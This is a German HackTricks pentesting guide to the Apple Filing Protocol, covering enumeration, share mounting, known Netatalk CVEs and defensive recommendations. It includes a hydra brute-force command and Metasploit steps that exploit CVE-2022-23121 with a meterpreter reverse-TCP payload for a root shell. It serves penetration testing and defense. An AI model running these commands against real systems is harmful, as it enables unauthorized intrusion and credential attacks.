548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Das Apple Filing Protocol (AFP), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das innerhalb des Apple File Service (AFS) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX-ähnlichen und ACL-Berechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus.

Obwohl AFP in modernen macOS-Versionen von SMB abgelöst wurde (SMB ist seit OS X 10.9 der Standard), trifft man es immer noch an in:

  • Legacy macOS / Mac OS 9 Umgebungen
  • NAS-Geräten (QNAP, Synology, Western Digital, TrueNAS…), die den Open-Source Netatalk Daemon einbetten
  • Gemischten OS-Netzwerken, in denen Time-Machine-over-AFP weiterhin aktiviert ist

Standard TCP-Port: 548 (AFP über TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Aufzählung

Schnelles Banner / Serverinfo

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Nützliche AFP NSE-Skripte:

SkriptWas es tut
afp-lsListet verfügbare AFP-Volumes und Dateien auf
afp-brutePasswort-Brute-Force gegen AFP-Login
afp-serverinfoGibt Servername, Maschinentyp, AFP-Version, unterstützte UAMs usw. aus
afp-showmountListet Freigaben zusammen mit ihren ACLs auf
afp-path-vulnErkennt (und kann ausnutzen) Verzeichnisdurchquerung, CVE-2010-0533

Das NSE-Brute-Force-Skript kann mit Hydra/Medusa kombiniert werden, wenn mehr Kontrolle erforderlich ist:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Interacting with shares

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (unter Verwendung von afpfs-ng ‑ in den meisten Distributionen verpackt)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Sobald gemountet, denken Sie daran, dass klassische Mac-Ressourcen-Forks als versteckte ._* AppleDouble-Dateien gespeichert werden – diese enthalten oft interessante Metadaten, die DFIR-Tools übersehen.


Häufige Schwachstellen & Ausnutzung

Netatalk nicht authentifizierte RCE-Kette (2022)

Mehrere NAS-Anbieter lieferten Netatalk ≤3.1.12. Ein Mangel an Grenzkontrollen in parse_entries() ermöglicht es einem Angreifer, einen bösartigen AppleDouble-Header zu erstellen und remote root vor der Authentifizierung zu erlangen (CVSS 9.8 – CVE-2022-23121). Ein vollständiger Bericht von NCC Group mit PoC, das Western-Digital PR4100 ausnutzt, ist verfügbar.

Metasploit (>= 6.3) liefert das Modul exploit/linux/netatalk/parse_entries, das die Nutzlast über DSI WRITE bereitstellt.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Wenn das Ziel eine betroffene QNAP/Synology-Firmware ausführt, führt eine erfolgreiche Ausnutzung zu einer Shell als root.

Netatalk OpenSession Heap Overflow (2018)

Ältere Netatalk-Versionen (3.0.0 - 3.1.11) sind anfällig für einen Out-of-Bounds-Schreibvorgang im DSI OpenSession-Handler, der nicht authentifizierte Codeausführung ermöglicht (CVE-2018-1160). Eine detaillierte Analyse und ein PoC wurden von Tenable Research veröffentlicht.

Weitere bemerkenswerte Probleme

  • CVE-2022-22995 – Symlink-Umleitung, die zu beliebigem Dateischreiben / RCE führt, wenn AppleDouble v2 aktiviert ist (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Verzeichnisdurchquerung in Apple Mac OS X 10.6 AFP (erkannt durch afp-path-vuln.nse).
  • Mehrere Speicher-Sicherheitsfehler wurden in Netatalk 4.x (2024) behoben – es wird empfohlen, ein Upgrade durchzuführen, anstatt einzelne CVEs zu patchen.

Verteidigungsempfehlungen

  1. Deaktivieren Sie AFP, es sei denn, es ist unbedingt erforderlich – verwenden Sie stattdessen SMB3 oder NFS.
  2. Wenn AFP bleiben muss, aktualisieren Sie Netatalk auf ≥ 3.1.18 oder 4.x oder wenden Sie die Firmware des Anbieters an, die die Patches von 2022/2023/2024 zurückportiert.
  3. Erzwingen Sie starke UAMs (z. B. DHX2), deaktivieren Sie Klartext- und Gastanmeldungen.
  4. Beschränken Sie TCP 548 auf vertrauenswürdige Subnetze und wickeln Sie AFP in ein VPN, wenn es remote exponiert ist.
  5. Scannen Sie regelmäßig mit nmap -p 548 --script afp-* in CI/CD, um rogue / downgraded Appliances zu erkennen.

Brute-Force

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks